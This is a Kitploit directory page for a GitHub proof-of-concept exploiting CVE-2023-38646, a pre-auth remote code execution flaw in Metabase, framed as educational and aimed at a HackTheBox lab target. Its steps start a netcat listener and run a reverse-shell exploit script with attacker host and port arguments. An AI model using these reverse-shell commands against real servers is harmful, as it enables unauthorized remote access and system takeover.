Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-38646 | Kitploit
Tools/GitHubGitHub/asepsaepdin/cve-2023-38646
ExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubasepsaepdin/cve-2023-38646

CVE-2023-38646

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-38646 - Metabase Pre-Auth RCE

⚠️ For educational and authorized security research purposes only

Original Exploit Authors

Very grateful to the original PoC author securezeron

Step Guides

  1. Set Up the Listener on your attacker machine:

    root@kitploit:~
    nc -nlvp 4444

  2. Then, run this command:

    root@kitploit:~
    python3 CVE-2023-38646-Reverse-Shell.py -h
python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost 10.10.16.8 --lport 4444

    image

Credits

  • https://nvd.nist.gov/vuln/detail/CVE-2023-38646
  • https://medium.com/@starlox.riju123/hackthebox-analytics-metabase-rce-bd3421cba76d
  • https://www.youtube.com/watch?v=br7JZzcTDG0
Download Tool